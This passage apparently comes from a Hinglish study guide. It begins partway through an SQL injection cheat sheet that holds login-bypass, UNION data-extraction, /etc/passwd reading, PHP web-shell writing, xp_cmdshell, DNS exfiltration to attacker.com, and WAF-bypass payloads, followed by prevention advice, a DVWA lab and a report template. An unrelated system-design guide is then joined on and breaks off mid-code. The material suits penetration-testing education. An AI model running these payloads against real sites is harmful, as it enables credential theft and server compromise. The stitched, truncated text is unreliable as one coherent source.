1' UNION SELECT username,password FROM users OFFSET 0--

# Extract all data at once (GROUP_CONCAT)
1' UNION SELECT GROUP_CONCAT(username,':',password SEPARATOR ','),null FROM users--
```

>> Authentication Bypass

WHAT:

Bina password ke login karna

PAYLOADS:

```
# Classic authentication bypass
username: admin'--
password: anything

# OR condition bypass
username: admin' OR '1'='1'--
password: anything

# Comment bypass
username: admin'#
password: anything

# Union based bypass
username: admin' UNION SELECT 1,2,3--

# Blind bypass
username: admin' AND 1=1--
password: anything
```

SQL QUERY:

```
SELECT * FROM users WHERE username='admin'--' AND password='anything'
```

>> Advanced Exploitation

WHAT:

Advanced techniques - file read/write, command execution

PAYLOADS:

```
# Read files (MySQL)
1' UNION SELECT LOAD_FILE('/etc/passwd'),null--

# Write files (MySQL)
1' UNION SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'--

# Command execution (MSSQL)
1'; EXEC xp_cmdshell('whoami')--

# Command execution (MySQL) - via user-defined functions
1' AND sys_exec('whoami')--

# DNS exfiltration (MySQL)
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\test'))--
```

---

5. SQL INJECTION BYPASS TECHNIQUES

>> WAF Bypass

WHAT:

Web Application Firewall (WAF) ko bypass karna

TECHNIQUES:

```
1. Case Manipulation:
SeLeCt, UnIoN, FrOm, WhErE

2. URL Encoding:
%27 (single quote), %20 (space), %23 (#)

3. Double Encoding:
%2527, %2520

4. Hex Encoding:
0x41444d494e (ADMIN)

5. Comments:
/**/, /*!50000UNION*/

6. Whitespace Manipulation:
Use tab, newline, carriage return
UNION%0aSELECT, UNION%0dSELECT

7. Alternative Syntax:
MySQL: /*!50000UNION SELECT*/

8. Function Wrapping:
SELECT version() -> SELECT @@version
SELECT user() -> SELECT current_user

9. Null Bytes:
admin%00'--

10. HTTP Parameter Pollution:
id=1&id=2 UNION SELECT...
```

>> Filter Bypass

WHAT:

Input filters ko bypass karna

TECHNIQUES:

```
1. Obfuscation:
SELECT -> SElEcT, S%E%L%E%C%T

2. Concatenation:
'ad' + 'min'
'ad' 'min'

3. CASE Statement:
1' AND CASE WHEN 1=1 THEN 1 ELSE 0 END--

4. Subquery Bypass:
1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--

5. No Space:
UNION/**/SELECT
UNION%0aSELECT

6. No Quotes:
```

```
0x61646d696e (hex of admin)
CHAR(97,100,109,105,110)

7. No Commas:
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
```

6. SECOND-ORDER SQL INJECTION

>> What is Second-Order SQLi

WHAT:

Second-order SQL injection tab hota hai jab malicious data pehle database me store hota hai, phir baad me vulnerable query me use hota hai. Isme payload immediate execute nahi hota.

EXAMPLE:

```
Step 1: Attacker register karta hai username: admin'--
Step 2: Database me username store ho jata hai
Step 3: Admin panel me user list dekhne wala query:
SELECT * FROM users WHERE username = 'admin'--'
Step 4: SQL Injection execute hoti hai
```

>> Exploitation

WHAT:

Second-order SQL injection exploit karna

PAYLOADS:

```
# Register with malicious username
username: admin'--
password: anything

# Register with UNION payload
username: ' UNION SELECT 1,2,3--

# Register with time-based payload
username: admin' AND SLEEP(5)--

# Register with file write payload
username: admin' INTO OUTFILE '/tmp/shell.php'--
```

---

7. SQL INJECTION PREVENTION (BACHAAV)

>> Prepared Statements (Parameterized Queries)

WHAT:

Sabse effective prevention method - SQL query aur data ko separate karna

EXAMPLES:

```
# PHP with MySQLi
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
# PHP with PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);
# Python with SQLAlchemy
result = session.execute(
    text("SELECT * FROM users WHERE username = :username"),
    {"username": username}
)
# Java with PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM users WHERE username = ? AND password = ?"
);
stmt.setString(1, username);
stmt.setString(2, password);
```

>> Input Validation and Sanitization

WHAT:

User input ko validate aur sanitize karna

EXAMPLES:

```
# Whitelist validation
if not username.isalnum():
    raise ValueError("Invalid username")
# Escape special characters
username = username.replace("'", "''")
# Use ORM (Object Relational Mapping)
# Django ORM automatically escapes
User.objects.filter(username=username)
# Use stored procedures
CALL GetUser(@username)
```

>> Least Privilege Principle

WHAT:

Database user ko minimum required privileges dena

EXAMPLES:

```
# Create application user with limited privileges
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'strong_password';
# Grant only SELECT on specific tables
GRANT SELECT ON database.users TO 'app_user'@'localhost';
GRANT SELECT, INSERT ON database.logs TO 'app_user'@'localhost';
# NEVER grant DROP, DELETE, UPDATE unnecessarily
# NEVER grant FILE privilege
# NEVER grant SUPER privilege
```

>> Web Application Firewall (WAF)

WHAT:

WAF SQL injection attacks detect aur block karta hai

CONFIGURATION:

```
# ModSecurity (Apache)
SecRule ARGS "select.*from" "id:123,deny,status:403"

# Cloudflare WAF
SQL Injection protection enabled

# Custom WAF rules
if(preg_match('/(select|union|insert|update|delete|drop)/i', $input)) {
    die('SQL Injection detected');
}
```

>> Secure Coding Practices

WHAT:

SQL injection se bachne ke liye coding practices

DO (KARNA HAI):

* DO: Always use prepared statements or parameterized queries
* DO: Use stored procedures for database operations
* DO: Validate and sanitize all user inputs
* DO: Use least privilege database accounts
* DO: Enable database error logging (but hide errors from users)
* DO: Use ORM frameworks (Django, SQLAlchemy, Hibernate)
* DO: Regular security testing and code review
* DO: Use web application firewall (WAF)

DON'T (NAHI KARNA):

* DON'T: Concatenate user input directly into SQL queries
* DON'T: Display database errors to users
* DON'T: Use dynamic SQL when possible
* DON'T: Use admin accounts for application
* DON'T: Ignore SQL injection in stored procedures
* DON'T: Trust any user input, even from database

---

8. SQL INJECTION LAB SETUP

>> DVWA (Damn Vulnerable Web Application)

WHAT:

SQL injection practice ke liye vulnerable environment

COMMANDS:

```
# Install LAMP stack
sudo apt update
sudo apt install apache2 mysql-server php php-mysql -y
# Download DVWA
cd /var/www/html
sudo git clone https://github.com/digininja/DVWA.git
sudo chmod -R 777 DVWA/
# Configure DVWA
cd DVWA/config
sudo cp config.inc.php.dist config.inc.php
# Edit config with database credentials
sudo nano config.inc.php
# Setup database
sudo mysql -u root -p
CREATE DATABASE dvwa;
GRANT ALL ON dvwa.* TO 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd';
FLUSH PRIVILEGES;
EXIT;
# Access DVWA
http://localhost/DVWA
Default login: admin / password
# Set DVWA security to low
DVWA Security -> low
```

>> SQLi Practice Queries

WHAT:

Practice ke liye manual SQL queries

SQL QUERIES:

```
# Create test database
CREATE DATABASE test_db;
USE test_db;

# Create users table
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50),
    password VARCHAR(50),
    email VARCHAR(100),
    role VARCHAR(20)
);

# Insert sample data
INSERT INTO users (username, password, email, role) VALUES
('admin', 'admin123', 'admin@example.com', 'admin'),
('user1', 'pass123', 'user1@example.com', 'user'),
('user2', 'pass456', 'user2@example.com', 'user'),
('john', 'john123', 'john@example.com', 'editor');

# Create products table
CREATE TABLE products (
    id INT AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(100),
    price DECIMAL(10,2),
    description TEXT
```

```
);

# Insert products
INSERT INTO products (name, price, description) VALUES
('Laptop', 999.99, 'High performance laptop'),
('Mouse', 29.99, 'Wireless mouse'),
('Keyboard', 49.99, 'Mechanical keyboard');
```

9. REAL-WORLD SQL INJECTION SCENARIOS

>> Scenario 1 - Login Bypass

WHAT:

Login page me SQL injection se authentication bypass

STEPS:

* 1. Target login page: http://example.com/login
* 2. Test with single quote: username: admin'
* 3. Observe error message indicating SQL injection
* 4. Use payload: admin'--
* 5. Password anything dalo
* 6. Login successful - admin panel access

>> Scenario 2 - Data Extraction via IDOR

WHAT:

Product page me ID parameter se data extract

STEPS:

* 1. URL: http://example.com/product?id=1
* 2. Test: http://example.com/product?id=1'
* 3. Error shows MySQL syntax error
* 4. Find columns: ORDER BY 5--
* 5. UNION SELECT: 1' UNION SELECT 1,2,3,4,5--
* 6. Extract databases: 1' UNION SELECT database(),user(),version(),4,5--
* 7. Extract tables: 1' UNION SELECT table_name,null,null,null,null FROM information_schema.tables--
* 8. Extract users: 1' UNION SELECT username,password,null,null,null FROM users--

---

>> Scenario 3 - Time-Based Blind Injection

WHAT:

No output visible, time delay se data extract

STEPS:

* 1. URL: http://example.com/search?q=test
* 2. Test delay: test' AND SLEEP(5)--
* 3. Response takes 5 seconds
* 4. Extract database length: test' AND IF(LENGTH(database())=8, SLEEP(5), 0)--
* 5. Extract each character: test' AND IF(SUBSTRING(database(),1,1)='m', SLEEP(5), 0)--
* 6. Script to automate extraction

---

10. SQL INJECTION REPORTING AND REMEDIATION

>> Report Template

WHAT:

SQL injection vulnerability report kaise likhein

REPORT TEMPLATE:

```
Title: SQL Injection Vulnerability in Product Page

Severity: Critical

Description:
The product page parameter 'id' is vulnerable to SQL injection.

Affected URL:
https://example.com/product?id=1

Steps to Reproduce:
1. Navigate to https://example.com/product?id=1
2. Replace id parameter with: 1' AND 1=1--
3. Observe page loads normally
4. Replace with: 1' AND 1=2--
5. Observe page shows different content or error

Proof of Concept:
https://example.com/product?id=1' UNION SELECT username,password FROM users--

Impact:
Attacker can extract all database data, including user credentials.

Remediation:
Use parameterized queries/prepared statements. Never concatenate user input.

Example Fix:
$stmt = $conn->prepare('SELECT * FROM products WHERE id = ?');
$stmt->bind_param('i', $id);
$stmt->execute();
```

System Design Complete Guide

HLD, LLD, Design Patterns, Real-World Systems

Generated: 23-March-2026

1. HIGH-LEVEL DESIGN (HLD) - COMPLETE GUIDE

>> What is HLD

WHAT:

High-Level Design (HLD) system ka overall architecture hai. Isme components, their interactions, data flow, aur external dependencies define hoti hain. HLD non-technical stakeholders ko system ka overview deta hai aur technical team ko implementation ka roadmap provide karta hai.

KEY COMPONENTS:

* System Architecture Diagram - Components aur unke connections
* Component Description - Har component kya karta hai
* Data Flow - Data kaise move karta hai
* Technology Stack - Kya technologies use karni hain
* External Interfaces - APIs, third-party services
* Security Considerations - Authentication, authorization
* Scalability Plan - Kaise scale karna hai
* Deployment Strategy - How to deploy

>> HLD Components Explained

WHAT:

HLD ke main components detail me

COMPONENTS:

* 1. Load Balancer: Traffic distribute karta hai servers me
* 2. Web Servers: Handle HTTP requests, serve static content
* 3. Application Servers: Business logic execute karta hai
* 4. Database: Data store karta hai (SQL/NoSQL)
* 5. Cache: Fast data access (Redis, Memcached)
* 6. Message Queue: Async processing (Kafka, RabbitMQ)
* 7. CDN: Static content delivery
* 8. Object Storage: Files, images, videos (S3)
* 9. Search Engine: Fast search (Elasticsearch)
* 10. Monitoring: Logging, metrics, alerts

>> HLD Document Template

WHAT:

HLD document kaise likhein

TEMPLATE:

```
1. Introduction
   - Purpose: Why we need this system
   - Scope: What is included, what is not
   - Definitions: Key terms

2. System Overview
   - Architecture Diagram
   - Component Description
   - Technology Stack

3. Data Flow
   - User Request Flow
   - Data Processing Flow
   - Database Schema Overview

4. Non-Functional Requirements
   - Performance: Response time, throughput
```

```
   - Scalability: Horizontal/Vertical scaling
   - Availability: 99.9%, 99.99%
   - Security: Authentication, encryption
   - Reliability: Data durability, backups

5. Deployment Architecture
   - Development environment
   - Staging environment
   - Production environment
   - CI/CD Pipeline

6. Security
   - Authentication
   - Authorization
   - Data Encryption
   - API Security
```

---

2. LOW-LEVEL DESIGN (LLD) - COMPLETE GUIDE

>> What is LLD

WHAT:

Low-Level Design (LLD) HLD ka detailed implementation blueprint hai. Isme classes, methods, data structures, algorithms, aur database schemas detail me define hote hain. Developers LLD ko directly code me convert kar sakte hain.

KEY COMPONENTS:

* Class Diagrams - UML class diagrams with relationships
* Sequence Diagrams - Interaction flow between objects
* Database Schema - Tables, columns, relationships, indexes
* API Specifications - Request/Response formats, endpoints
* Algorithm Design - Core logic with pseudo-code
* Error Handling - Exception scenarios
* Logging and Monitoring - What to log, how to monitor

>> Class Diagram Example

WHAT:

E-commerce system ka class diagram

CODE / IMPLEMENTATION:

```
class User {
  - id: int
  - name: String
  - email: String
  - password: String
  + login(): bool
  + register(): bool
  + updateProfile(): void
}

class Product {
  - id: int
  - name: String
  - price: float
  - description: String
  - category: Category
  + getDetails(): ProductDetails
  + updateStock(): void
}

class Cart {
  - id: int
  - user: User
  - items: List[CartItem]
  + addItem(product: Product, quantity: int): void
  + removeItem(productId: int): void
  + calculateTotal(): float
  + checkout(): Order
}

class Order {
  - id: int
  - user: User
  - items: List[OrderItem]
  - total: float
  - status: OrderStatus
  + processPayment(): bool
  + updateStatus(): void
}
```

```
class Payment {
  - id: int
  - order: Order
  - amount: float
  - method: PaymentMethod
  + process(): PaymentResult
  + refund(): bool
}
```

>> Sequence Diagram Example

WHAT:

User login ka sequence diagram

SEQUENCE:

```
User -> Frontend: Enter credentials
Frontend -> API Gateway: POST /api/login
API Gateway -> Auth Service: Validate credentials
Auth Service -> Database: SELECT user WHERE email=email
Database -> Auth Service: User data
Auth Service -> Auth Service: Verify password hash
Auth Service -> Auth Service: Generate JWT token
Auth Service -> API Gateway: Return JWT token
API Gateway -> Frontend: 200 OK with token
Frontend -> User: Show dashboard
```

---

3. DESIGN PATTERNS (23 GANG OF FOUR)

>> Creational Patterns

WHAT:

Object creation ke patterns

PATTERNS:

```
1. Singleton: Ek class ka sirf ek instance
   Use: Database connection, Logger, Configuration

2. Factory Method: Object creation subclass ko delegate
   Use: Different types of objects based on input

3. Abstract Factory: Related objects ka family
   Use: Cross-platform UI components

4. Builder: Complex object step by step build
   Use: Building complex objects with many parameters

5. Prototype: Clone existing objects
   Use: Expensive object creation, copy existing
```

>> Structural Patterns

WHAT:

Class and object composition patterns

PATTERNS:

```
1. Adapter: Incompatible interfaces ko connect karna
   Use: Legacy code integration, third-party APIs

2. Bridge: Abstraction se implementation alag
   Use: Multiple platforms, multiple implementations

3. Composite: Tree structure for part-whole hierarchy
   Use: File system, UI components

4. Decorator: Add behavior dynamically
   Use: Adding features without modifying class

5. Facade: Simplified interface for complex system
   Use: Libraries, complex subsystems

6. Flyweight: Share common state
   Use: Large number of similar objects

7. Proxy: Control access to object
   Use: Lazy loading, access control, logging
```

>> Behavioral Patterns

WHAT:

Object communication and responsibility patterns

PATTERNS:

```
1. Chain of Responsibility: Request passes through handlers
   Use: Logging, authentication, validation pipeline

2. Command: Request as object
   Use: Undo/redo, task queues, logging

3. Interpreter: Language grammar evaluation
   Use: SQL parsing, expression evaluation
```

```
4. Iterator: Access collection elements
   Use: All collections

5. Mediator: Centralized communication
   Use: Chat systems, GUI components

6. Memento: Save and restore state
   Use: Undo/redo, checkpoints

7. Observer: One-to-many dependency
   Use: Event handling, pub-sub systems

8. State: Behavior changes with state
   Use: State machines, workflow systems

9. Strategy: Interchangeable algorithms
   Use: Sorting, payment methods

10. Template Method: Algorithm skeleton
    Use: Frameworks, reusable algorithms

11. Visitor: Operations on object structure
    Use: AST processing, serialization
```

>> Singleton Pattern Implementation

WHAT:

Singleton pattern in Python

CODE / IMPLEMENTATION:

```
import threading

class Singleton:
    _instance = None
    _lock = threading.Lock()

    def __new__(cls):
        if cls._instance is None:
            with cls._lock:
                if cls._instance is None:
                    cls._instance = super().__new__(cls)
        return cls._instance

    def __init__(self):
        if not hasattr(self, 'initialized'):
            self.initialized = True
            self.data = {}

# Usage
db1 = Singleton()
db2 = Singleton()
print(db1 is db2)  # True
```

>> Factory Pattern Implementation

WHAT:

Factory method pattern

CODE / IMPLEMENTATION:

```
from abc import ABC, abstractmethod

class Payment(ABC):
    @abstractmethod
    def pay(self, amount):
```

```
        pass

class CreditCardPayment(Payment):
    def pay(self, amount):
        return f"Paid {amount} via Credit Card"

class PayPalPayment(Payment):
    def pay(self, amount):
        return f"Paid {amount} via PayPal"

class PaymentFactory:
    @staticmethod
    def get_payment(method):
        if method == 'credit_card':
            return CreditCardPayment()
        elif method == 'paypal':
            return PayPalPayment()
        else:
            raise ValueError(f"Unknown method: {method}")

# Usage
payment = PaymentFactory.get_payment('credit_card')
print(payment.pay(100))
```

>> Observer Pattern Implementation

WHAT:

Observer pattern for event handling

CODE / IMPLEMENTATION:

```
class Subject:
    def __init__(self):
        self._observers = []
        self._state = None

    def attach(self, observer):
        self._observers.append(observer)

    def detach(self, observer):
        self._observers.remove(observer)

    def notify(self):
        for observer in self._observers:
            observer.update(self)

    @property
    def state(self):
        return self._state

    @state.setter
    def state(self, value):
        self._state = value
        self.notify()

class Observer:
    def update(self, subject):
        print(f"Observer: Subject state changed to {subject.state}")

# Usage
subject = Subject()
observer1 = Observer()
observer2 = Observer()
subject.attach(observer1)
subject.attach(observer2)
subject.state = "New State"
```

---

4. SYSTEM DESIGN INTERVIEW - URL SHORTENER (BIT.LY)

>> Requirements

WHAT:

URL Shortener system ke requirements

FUNCTIONAL REQUIREMENTS:

* 1. User should be able to shorten a long URL
* 2. User should get a short, unique code (e.g., bit.ly/abc123)
* 3. When user visits short URL, redirect to original URL
* 4. User can view click statistics (optional)
* 5. User can set expiry for short URLs

NON-FUNCTIONAL REQUIREMENTS:

* 1. High Availability: 99.99% uptime
* 2. Low Latency: Redirection < 100ms
* 3. Scalability: Billions of URLs
* 4. Durability: Data never lost

>> High-Level Design

WHAT:

URL Shortener HLD

COMPONENTS:

* 1. Web Server: Handle HTTP requests
* 2. API Gateway: Route requests to services
* 3. URL Service: Generate short codes, store mappings
* 4. Database: Store URL mappings (SQL or NoSQL)
* 5. Cache: Redis for frequently accessed URLs
* 6. Analytics Service: Track clicks
* 7. CDN: Serve static content

DATA FLOW:

```
Create Short URL:
User -> API Gateway -> URL Service -> Database -> Return short URL

Redirect:
User -> API Gateway -> Cache Lookup -> If found redirect
If not found -> Database Lookup -> Cache -> Redirect
```

>> Database Schema

WHAT:

URL Shortener database design

DATABASE SCHEMA:

```
Table: urls
  id: BIGINT (Primary Key)
  short_code: VARCHAR(10) UNIQUE
  original_url: TEXT NOT NULL
  user_id: BIGINT (Foreign Key)
  created_at: TIMESTAMP
  expires_at: TIMESTAMP
  clicks: BIGINT DEFAULT 0

Table: users
  id: BIGINT (Primary Key)
  email: VARCHAR(255) UNIQUE
  name: VARCHAR(100)
```

```
  created_at: TIMESTAMP

Table: clicks
  id: BIGINT (Primary Key)
  url_id: BIGINT (Foreign Key)
  clicked_at: TIMESTAMP
  ip_address: VARCHAR(45)
  user_agent: TEXT
  referer: TEXT

Indexes:
CREATE INDEX idx_short_code ON urls(short_code);
CREATE INDEX idx_user_id ON urls(user_id);
CREATE INDEX idx_clicked_at ON clicks(clicked_at);
```

>> Short Code Generation

WHAT:

Unique short code kaise generate karein

CODE / IMPLEMENTATION:

```
import hashlib
import random
import string

class ShortCodeGenerator:
    ALPHABET = string.digits + string.ascii_letters
    BASE = len(ALPHABET)

    @staticmethod
    def encode_id(id: int) -> str:
        """Convert integer ID to base62 string"""
        if id == 0:
            return ShortCodeGenerator.ALPHABET[0]

        result = []
        while id > 0:
            id, remainder = divmod(id, ShortCodeGenerator.BASE)
            result.append(ShortCodeGenerator.ALPHABET[remainder])
        return ''.join(reversed(result))

    @staticmethod
    def from_url(url: str) -> str:
        """Generate short code from URL (MD5 hash)"""
        hash_obj = hashlib.md5(url.encode())
        return hash_obj.hexdigest()[:6]

    @staticmethod
    def random_code(length: int = 6) -> str:
        """Generate random short code"""
        return ''.join(random.choices(ShortCodeGenerator.ALPHABET, k=length))
```

ALGORITHMS:

```
1. Base62 Encoding:
   - Convert ID to base62 (0-9,a-z,A-Z)
   - Example: ID 1000 -> 'g8'
   - Pros: URL safe, short
   - Cons: Predictable

2. MD5 Hashing:
   - Hash original URL, take first 6 chars
   - Pros: Deterministic, same URL same code
   - Cons: Collisions possible

3. Random String Generation:
   - Generate random 6-8 character string
```

```
  - Check uniqueness in database
  - Pros: Unpredictable
  - Cons: May need retries
```

---

5. SYSTEM DESIGN - CHAT SYSTEM (WHATSAPP)

>> Requirements

WHAT:

Chat system requirements

FUNCTIONAL REQUIREMENTS:

* 1. One-on-one messaging
* 2. Group messaging (up to 256 participants)
* 3. Message delivery status (sent, delivered, read)
* 4. Online/offline status
* 5. Media sharing (images, videos, documents)
* 6. Push notifications
* 7. End-to-end encryption
* 8. Message history sync across devices

NON-FUNCTIONAL REQUIREMENTS:

* 1. Low Latency: Messages delivered within 100ms
* 2. High Availability: 99.999% uptime
* 3. Scalability: Millions of concurrent users
* 4. Data Durability: Messages never lost
* 5. Security: End-to-end encryption

>> High-Level Design

WHAT:

Chat system architecture

COMPONENTS:

* 1. Clients: Mobile apps, Web clients
* 2. Load Balancer: Distribute traffic
* 3. WebSocket Servers: Maintain persistent connections
* 4. Message Queue: Kafka for async processing
* 5. Database: Cassandra for messages (time-series)
* 6. Redis: For user sessions, online status
* 7. Blob Storage: S3 for media files
* 8. Push Notification Service: APNS, FCM
* 9. Presence Service: Track online/offline

DATA FLOW:

```
Message Flow:
Sender -> WebSocket -> Message Queue -> Consumer ->
Check recipient online -> Push notification -> Recipient

Offline Flow:
Message -> Database -> Push notification ->
Recipient comes online -> Fetch offline messages
```

>> Database Schema

WHAT:

Chat system database design

DATABASE SCHEMA:

```
Table: users
  id: UUID (Primary Key)
  phone: VARCHAR(20) UNIQUE
  name: VARCHAR(100)
```

```
  profile_pic: VARCHAR(255)
  last_seen: TIMESTAMP
  created_at: TIMESTAMP

Table: messages (Cassandra)
  message_id: UUID (Primary Key)
  chat_id: UUID (Partition Key)
  sender_id: UUID
  message_type: VARCHAR(20)
  content: TEXT
  media_url: VARCHAR(255)
  status: VARCHAR(20)
  created_at: TIMESTAMP (Clustering Key)

Table: chats
  chat_id: UUID (Primary Key)
  chat_type: VARCHAR(10)
  created_at: TIMESTAMP

Table: chat_participants
  chat_id: UUID (Partition Key)
  user_id: UUID (Clustering Key)
  joined_at: TIMESTAMP
  last_read_message_id: UUID
```

>> WebSocket Connection Management

WHAT:

WebSocket connection handling

CODE / IMPLEMENTATION:

```
import asyncio
import websockets
import redis
import json

class WebSocketManager:
    def __init__(self):
        self.connections = {}  # user_id -> websocket
        self.redis = redis.Redis(host='localhost', port=6379)

    async def register(self, user_id, websocket):
        self.connections[user_id] = websocket
        self.redis.set(f"user:{user_id}:online", "true", ex=300)

    async def unregister(self, user_id):
        if user_id in self.connections:
            del self.connections[user_id]
        self.redis.delete(f"user:{user_id}:online")

    async def send_message(self, user_id, message):
        if user_id in self.connections:
            try:
                await self.connections[user_id].send(json.dumps(message))
                return True
            except:
                await self.unregister(user_id)
        return False

    async def broadcast_to_group(self, group_id, message):
        # Get group members from database
        members = self.get_group_members(group_id)
        for member in members:
            await self.send_message(member, message)
```

---

6. SYSTEM DESIGN - VIDEO STREAMING (YOUTUBE)

>> Requirements

WHAT:

Video streaming platform requirements

FUNCTIONAL REQUIREMENTS:

* 1. Upload videos (multiple formats)
* 2. Stream videos at different qualities (240p to 4K)
* 3. Search videos
* 4. Comments and likes
* 5. User subscriptions
* 6. Recommendations
* 7. Watch history
* 8. Adaptive bitrate streaming

NON-FUNCTIONAL REQUIREMENTS:

* 1. Low Buffering: Less than 2% of playback time
* 2. High Availability: 99.99% uptime
* 3. Scalability: Millions of concurrent viewers
* 4. Fast Upload: Large videos upload quickly
* 5. CDN: Global content delivery

>> High-Level Design

WHAT:

Video streaming architecture

COMPONENTS:

* 1. Upload Service: Handle video uploads
* 2. Transcoding Service: Convert to multiple formats
* 3. Video Storage: Distributed object storage (S3)
* 4. CDN: CloudFront for global delivery
* 5. Database: Metadata store (PostgreSQL)
* 6. Cache: Redis for popular videos
* 7. Search Service: Elasticsearch for search
* 8. Recommendation Engine: ML-based
* 9. Analytics Service: Track views, engagement

DATA FLOW:

```
Upload Flow:
User -> Upload Service -> Transcoding Queue -> Transcoding Service ->
Storage -> Update Database

Streaming Flow:
User -> CDN -> Cache Miss -> Storage -> CDN -> User
```

>> Transcoding Pipeline

WHAT:

Video transcoding process

STEPS:

* 1. Upload: User uploads video to temporary storage
* 2. Validation: Check format, size, virus scan
* 3. Job Queue: Add to transcoding queue (SQS, Kafka)
* 4. Transcoding: FFmpeg converts to multiple resolutions:

* - 240p (426x240)
* - 360p (640x360)
* - 480p (854x480)
* - 720p (1280x720)
* - 1080p (1920x1080)
* - 4K (3840x2160)
* 5. Segmenting: Split into chunks (HLS/DASH)
* 6. Storage: Upload to S3/Cloud Storage
* 7. Notification: Update database with video ready status

>> CDN and Caching Strategy

WHAT:

Content delivery network strategy

---

7. SYSTEM DESIGN - E-COMMERCE (AMAZON)

>> Requirements

WHAT:

E-commerce platform requirements

FUNCTIONAL REQUIREMENTS:

* 1. User registration and login
* 2. Product catalog with search and filters
* 3. Shopping cart
* 4. Order placement and checkout
* 5. Payment processing
* 6. Order tracking
* 7. Reviews and ratings
* 8. Recommendations
* 9. Inventory management

NON-FUNCTIONAL REQUIREMENTS:

* 1. High Availability: 99.99% uptime (especially during sales)
* 2. Consistency: Strong consistency for inventory
* 3. Scalability: Handle traffic spikes (Black Friday)
* 4. Security: PCI compliance for payments
* 5. Durability: Order data never lost

>> High-Level Design

WHAT:

E-commerce system architecture

COMPONENTS:

* 1. API Gateway: Single entry point
* 2. Auth Service: User authentication
* 3. Product Service: Product catalog management
* 4. Search Service: Elasticsearch for product search
* 5. Cart Service: Shopping cart management
* 6. Order Service: Order processing
* 7. Payment Service: Payment processing
* 8. Inventory Service: Stock management
* 9. Notification Service: Emails, SMS
* 10. Analytics Service: User behavior tracking

>> Checkout Flow

WHAT:

Checkout process with distributed transactions

CODE / IMPLEMENTATION:

```
from datetime import datetime
import asyncio

class CheckoutService:
    def __init__(self):
        self.inventory_service = InventoryService()
        self.payment_service = PaymentService()
        self.order_service = OrderService()
        self.notification_service = NotificationService()
```

```
    async def checkout(self, user_id, cart_id, payment_details):
        try:
            # 1. Validate cart and calculate total
            cart = await self.get_cart(cart_id)
            total = self.calculate_total(cart)

            # 2. Reserve inventory
            reservation_id = await self.inventory_service.reserve_items(
                cart['items'], timeout=900
            )

            # 3. Process payment
            payment_result = await self.payment_service.process(
                user_id, total, payment_details
            )

            if payment_result['status'] == 'success':
                # 4. Confirm order and update inventory
                order = await self.order_service.create_order(
                    user_id, cart['items'], total, payment_result['transaction_id']
                )
                await self.inventory_service.confirm_reservation(reservation_id)
                await self.cart_service.clear_cart(cart_id)
                await self.notification_service.send_order_confirmation(user_id, order)

                return {'status': 'success', 'order_id': order['id']}
            else:
                # Payment failed, release reservation
                await self.inventory_service.release_reservation(reservation_id)
                return {'status': 'failed', 'reason': payment_result['message']}

        except Exception as e:
            # Handle errors, rollback if needed
            return {'status': 'error', 'message': str(e)}
```

STEPS:

* Step 1: Validate Cart
* - Check items exist
* - Check inventory availability
* - Calculate total with discounts
*
* Step 2: Reserve Inventory
* - Reserve items for order
* - Timeout: 15 minutes for payment
* - If not paid, release reservation
*
* Step 3: Process Payment
* - Call payment gateway
* - Handle payment success/failure
* - Update order status
*
* Step 4: Confirm Order
* - Decrement inventory
* - Create order record
* - Send confirmation email/SMS
* - Clear cart

---

8. LOAD BALANCERS - COMPLETE GUIDE

>> What are Load Balancers

WHAT:

Load balancers incoming network traffic ko multiple backend servers me distribute karte hain. Ye availability, scalability, aur reliability improve karte hain.

>> Load Balancing Algorithms

WHAT:

Different load balancing algorithms

ALGORITHMS:

```
1. Round Robin: Requests cycle through servers
   - Simple, even distribution
   - Not aware of server load

2. Least Connections: Send to server with least active connections
   - Better for varying request duration
   - More balanced

3. Least Response Time: Server with fastest response
   - Best for performance
   - Requires monitoring

4. IP Hash: Hash client IP to server
   - Session persistence
   - Sticky sessions

5. Weighted Round Robin: Assign weights to servers
   - More powerful servers get more requests
   - Good for heterogeneous environments
```

>> Load Balancer Configuration

WHAT:

NGINX as load balancer

CODE / IMPLEMENTATION:

```
http {
    upstream backend {
        # Least connections algorithm
        least_conn;

        server backend1.example.com weight=3;
        server backend2.example.com;
        server backend3.example.com backup;
    }

    server {
        listen 80;
        server_name example.com;

        location / {
            proxy_pass http://backend;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        }
    }
}
```

---

9. CACHING STRATEGIES (REDIS, CDN)

>> What is Caching

WHAT:

Caching frequently accessed data ko fast storage me store karta hai. Isse latency kam hoti hai aur database load reduce hota hai.

>> Caching Strategies

WHAT:

Different caching strategies

STRATEGIES:

```
* 1. Cache Aside (Lazy Loading):
*    - Application first checks cache
*    - If miss, fetches from database and caches
*    - Pros: Simple, only caches what's needed
*    - Cons: Cache miss penalty
*
* 2. Read-Through:
*    - Cache library handles reading
*    - Automatically loads from database
*    - Pros: Simpler application code
*    - Cons: Cache library complexity
*
* 3. Write-Through:
*    - Writes to cache and database simultaneously
*    - Pros: Cache always consistent
*    - Cons: Write latency increases
*
* 4. Write-Behind:
*    - Writes to cache, async to database
*    - Pros: Very fast writes
*    - Cons: Risk of data loss
*
* 5. Write-Around:
*    - Writes directly to database
*    - Cache only on reads
*    - Pros: Avoids cache pollution
*    - Cons: Cache miss on recent writes
```

>> Redis Implementation

WHAT:

Redis cache usage examples

CODE / IMPLEMENTATION:

```
import redis
import json

class CacheService:
    def __init__(self):
        self.redis = redis.Redis(host='localhost', port=6379, decode_responses=True)

    def get_user(self, user_id):
        # Try cache first
```

```
        cached = self.redis.get(f"user:{user_id}")
        if cached:
            return json.loads(cached)

        # Cache miss - get from database
        user = self.db.get_user(user_id)
        if user:
            # Store in cache with TTL
            self.redis.setex(
                f"user:{user_id}",
                3600,  # 1 hour TTL
